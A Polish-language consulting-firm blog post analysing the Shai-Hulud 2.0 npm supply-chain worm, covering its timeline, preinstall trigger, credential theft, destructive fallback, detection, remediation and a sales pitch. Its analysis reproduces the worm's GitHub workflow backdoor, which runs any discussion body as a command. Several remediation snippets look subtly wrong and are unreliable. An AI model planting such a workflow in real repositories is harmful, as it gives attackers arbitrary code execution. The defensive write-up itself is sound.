← Back to Blog
Bezpieczeństwo

Shai-Hulud 2.0: Największy Atak Supply-Chain na npm w 2025 Roku

November 28, 20258 min readLWE Team
Shai-Hulud 2.0: Największy Atak Supply-Chain na npm w 2025 Roku

Shai-Hulud 2.0: Największy Atak Supply-Chain na npm w 2025 Roku

Między 21 a 23 listopada 2025 roku ekosystem npm został dotknięty jednym z najbardziej agresywnych ataków typu supply-chain w historii. Kampania znana jako "Shai-Hulud 2.0" (przez atakujących określana jako "The Second Coming") skompromitowała 796 unikalnych pakietów npm z łączną liczbą ponad 20 milionów pobrań tygodniowo oraz utworzyła ponad 25,000 sfałszowanych repozytoriów GitHub w ciągu zaledwie kilku godzin.

Skala Katastrofy

To nie jest kolejny atak na npm. To kampania, która:

  • Skompromitowała konta maintainerów najpopularniejszych pakietów npm
  • Dotknęła główne organizacje: Zapier, PostHog, Postman, ENS Domains, AsyncAPI
  • Ukradła setki tysięcy sekretów: 775 tokenów GitHub, 373 credentiale AWS, 300 GCP, 115 Azure
  • Działa destrukcyjnie: jeśli nie może ukraść danych, niszczy cały katalog domowy użytkownika
  • Rozprzestrzenia się automatycznie: jak worm, samoreplikuje się przez skompromitowane środowiska

Timeline Ataku

  • Wrzesień 2025: Pierwsza wersja Shai-Hulud kradnie ~50 milionów dolarów w kryptowalutach
  • 21-23 listopada 2025: Złośliwe pakiety npm zostają opublikowane
  • 24 listopada, 01:22 UTC: Pierwsze repozytoria GitHub z wykradzionymi sekretami
  • 24 listopada, ~03:00 UTC: Masowa publikacja złośliwych pakietów
  • 25 listopada: Druga fala ataku wykorzystująca już skradzione dane
  • 26 listopada, 09:00 UTC: GitHub rozpoczyna masową rewokację tokenów

W szczytowym momencie ataku około 1,000 nowych repozytoriów było tworzonych co 30 minut.

Jak Działa Atak?

1. Moment Aktywacji

W przeciwieństwie do tradycyjnego malware, Shai-Hulud 2.0 wykorzystuje npm preinstall lifecycle script. Oznacza to, że złośliwy kod wykonuje się:

  • Przed zakończeniem instalacji pakietu
  • Nawet jeśli instalacja się nie powiedzie
  • W każdym środowisku - dev machines, CI/CD pipelines, production builds
{
  "scripts": {
    "preinstall": "node setup_bun.js"
  }
}

2. Wektor Infekcji

Malware:

  1. Instaluje runtime Bun poprzez setup_bun.js
  2. Uruchamia bun_environment.js zawierający payload
  3. Skanuje system w poszukiwaniu credentiali:
    • Pliki konfiguracyjne (~/.aws/credentials, ~/.azure/)
    • Zmienne środowiskowe
    • Cloud metadata services (IMDS)
    • GitHub API dla workflow secrets

3. Eksfiltracja Danych

Ukradzione dane są publikowane do:

  • Publicznych repozytoriów GitHub z opisem zawierającym "Shai-Hulud"
  • Repozytoriów innych ofiar (cross-victim exfiltration)
  • Analiza GitGuardian znalazła 11,858 unikalnych sekretów, z czego 2,298 nadal było ważnych 24 listopada

4. Persistence i Backdoor

Malware tworzy .github/workflows/discussion.yaml:

name: Discussion Handler
on:
  discussion:
    types: [created]
jobs:
  handle:
    runs-on: self-hosted
    steps:
      - run: ${{ github.event.discussion.body }}

To command injection backdoor - atakujący mogą wykonywać dowolny kod poprzez utworzenie GitHub discussion!

5. Destrukcyjność

Jeśli eksfiltracja się nie powiedzie, malware:

  • Bezpiecznie nadpisuje każdy plik w katalogu domowym użytkownika
  • Kasuje wszystkie pliki należące do bieżącego użytkownika
  • Niszczy kompletnie środowisko deweloperskie

Skompromitowane Pakiety

Wśród 796 dotkniętych pakietów znalazły się:

Główne Organizacje

  • Zapier - narzędzia integracyjne i automation
  • PostHog - analytics i product intelligence
  • Postman - tunnel agent (27% prevalence w przedsiębiorstwach)
  • ENS Domains - Ethereum naming service
  • AsyncAPI - dokumentacja API

Popularność

Niektóre skompromitowane pakiety miały:

  • Miliony pobrań miesięcznie
  • Tysiące zależnych pakietów
  • Integrację w critical infrastructure

Jak Sprawdzić Czy Zostałeś Dotknięty?

1. Szukaj Podejrzanych Repozytoriów

# Sprawdź swoje repozytoria GitHub
gh repo list --limit 1000 --json name,description | \
  grep -i "shai-hulud"

2. Audytuj npm Dependencies

# Sprawdź zainstalowane pakiety
npm list --depth=0 --json | \
  jq '.dependencies | keys[]'

# Sprawdź daty instalacji
ls -lat node_modules/

3. Przeszukaj Logi CI/CD

Szukaj:

  • Nieautoryzowanych GitHub workflow files
  • Repozytoriów utworzonych między 21-26 listopada
  • Podejrzanych instalacji pakietów npm
  • Połączeń do nieznanych endpoints

4. Audytuj Credentiale

# Znajdź wszystkie potencjalnie skompromitowane pliki
find ~ -name "*.json" -o -name "*credentials*" -o \
  -name "*.env" -mtime -14 -ls

Natychmiastowe Działania

KRYTYCZNE - Do Wykonania Teraz

  1. Wyczyść npm cache i node_modules
npm cache clean --force
rm -rf node_modules package-lock.json
  1. Przypnij zależności do bezpiecznych wersji
# Wróć do wersji sprzed 21 listopada 2025
npm ci --package-lock-only --before=2025-11-21
  1. Rotuj WSZYSTKIE credentiale

    • npm tokens
    • GitHub Personal Access Tokens (PATs)
    • Klucze SSH
    • AWS/GCP/Azure credentials
    • Database passwords
    • API keys
  2. Włącz phishing-resistant MFA wszędzie

  3. Audytuj GitHub workflows

find .github/workflows -name "*.yml" -o -name "*.yaml" \
  -mtime -14 -exec cat {} \;

Ochrona CI/CD

// .npmrc - wyłącz lifecycle scripts w CI
ignore-scripts=true
# GitHub Actions - ogranicz network access
jobs:
  build:
    runs-on: ubuntu-latest
    container:
      options: --network none

Długoterminowe Zabezpieczenia

1. Dependency Pinning

{
  "dependencies": {
    "express": "4.18.2",  // dokładna wersja, nie ^4.18.2
    "lodash": "4.17.21"
  }
}

2. Automated Security Scanning

Zintegruj narzędzia:

  • Snyk - vulnerability scanning
  • Dependabot - automated updates
  • Socket.dev - supply chain protection
  • GitGuardian - secrets detection

3. Network Segmentation

  • Odizoluj build environments od produkcji
  • Ogranicz outbound access z CI/CD
  • Używaj private npm registry
  • Implementuj egress filtering

4. Short-Lived Credentials

# Używaj OIDC zamiast long-lived tokens
- uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: arn:aws:iam::123456789:role/GitHubActions
    aws-region: eu-central-1

Dlaczego To Się Stało?

Atak Shai-Hulud 2.0 ujawnił fundamentalne problemy w ekosystemie npm:

  1. Brak weryfikacji maintainerów - skompromitowane konta mogą publikować co chcą
  2. Automatyczne wykonywanie kodu - lifecycle scripts bez sandboxingu
  3. Zbyt duże uprawnienia - pakiety mają pełny dostęp do systemu
  4. Brak izolacji - jeden pakiet może skompromitować cały system
  5. Kultura "npm install" - ślepe zaufanie do dependencies

Znaczenie Proaktywnej Infrastruktury

W LWE Partners od lat mówimy: infrastruktura to nie tylko deployment - to kultura bezpieczeństwa.

Co Robimy Dla Naszych Klientów

  1. Automated Dependency Scanning

    • Continuous monitoring wszystkich dependencies
    • Automated alerts przy wykryciu podatności
    • Pull requesty z bezpiecznymi wersjami
  2. Zero-Trust CI/CD

    • Network isolation dla build environments
    • Short-lived credentials tylko
    • Artifact signing i verification
    • Immutable build artifacts
  3. Secrets Management

    • Centralized vault (HashiCorp Vault, AWS Secrets Manager)
    • Automatic rotation
    • Auditing każdego dostępu
    • Zero secrets w kodzie czy env files
  4. Incident Response Plan

    • Procedury na wypadek kompromitacji
    • Automated rollback capabilities
    • Communication protocols
    • Regular drills i testing

Nasze Podejście Do Supply Chain Security

Implementujemy defense in depth:

┌─────────────────────────────────────┐
│  1. Source Control Protection      │
│  - Signed commits                  │
│  - Branch protection               │
│  - Code review enforcement         │
├─────────────────────────────────────┤
│  2. Dependency Management          │
│  - Private npm registry            │
│  - Automated scanning              │
│  - Pinned versions                 │
├─────────────────────────────────────┤
│  3. Build Security                 │
│  - Isolated environments           │
│  - No lifecycle scripts            │
│  - Limited network access          │
├─────────────────────────────────────┤
│  4. Artifact Verification          │
│  - SBOM generation                 │
│  - Signing & attestation           │
│  - Provenance tracking             │
├─────────────────────────────────────┤
│  5. Runtime Protection             │
│  - Container scanning              │
│  - Runtime monitoring              │
│  - Anomaly detection               │
└─────────────────────────────────────┘

Koszt Kompromitacji

Shai-Hulud 2.0 pokazuje realne koszty słabego security:

  • Finansowe: Pierwsza wersja ukradła ~$50M w crypto
  • Reputacyjne: Dotknięte organizacje tracą zaufanie klientów
  • Operacyjne: Dni/tygodnie na incident response
  • Compliance: Potencjalne kary za wyciek danych
  • Techniczne: Konieczność przebudowy całej infrastruktury

Nie Masz Zespołu Security?

To normalne. Większość firm:

  • Nie ma dedykowanych security engineers
  • Nie monitoruje supply chain 24/7
  • Nie ma procedur incident response
  • Nie testuje regularnie swojej obrony

To właśnie oferuje LWE Partners.

Pomagamy firmom budować bezpieczną infrastrukturę:

  • Automated security scanning zintegrowane z CI/CD
  • Secrets management bez dostępu developerów do produkcyjnych credentials
  • Zero-trust architecture z principle of least privilege
  • Incident response procedures z regular drills
  • Compliance support dla GDPR, ISO 27001, SOC 2

Lekcje z Shai-Hulud 2.0

  1. Supply chain jest attack surface - każda dependency to potencjalne ryzyko
  2. Automation jest kluczowa - manualne procesy są zbyt wolne
  3. Defense in depth działa - jeden layer nie wystarcza
  4. Monitoring musi być proaktywny - reactive jest za późno
  5. Ludzie popełniają błędy - potrzebujemy systemów, które je wyłapują

Podsumowanie

Atak Shai-Hulud 2.0 to wake-up call dla całej branży. Pokazuje, że:

  • Zaufanie musi być weryfikowane - nawet do popularnych pakietów
  • Izolacja jest niezbędna - build environments potrzebują sandboxingu
  • Credentiale muszą być krótkotrwałe - long-lived tokens to liability
  • Monitoring musi być ciągły - ataki zdarzają się w weekendy

Jeśli nie jesteś pewien, czy Twoja infrastruktura jest zabezpieczona przed tego typu atakami, porozmawiajmy. W LWE Partners pomagamy firmom budować resilient, secure, i compliant cloud infrastructure - tak żeby mogli spać spokojnie, wiedząc że ich systemy są chronione.


Źródła:

Tags

#Bezpieczeństwo#npm#Supply Chain#DevSecOps#Infrastruktura

Ready to Transform Your Business?

Let's discuss how we can help you achieve your goals.

Get in Touch →
Shai-Hulud 2.0: Największy Atak Supply-Chain na npm w 2025 Roku - LWE Partners Blog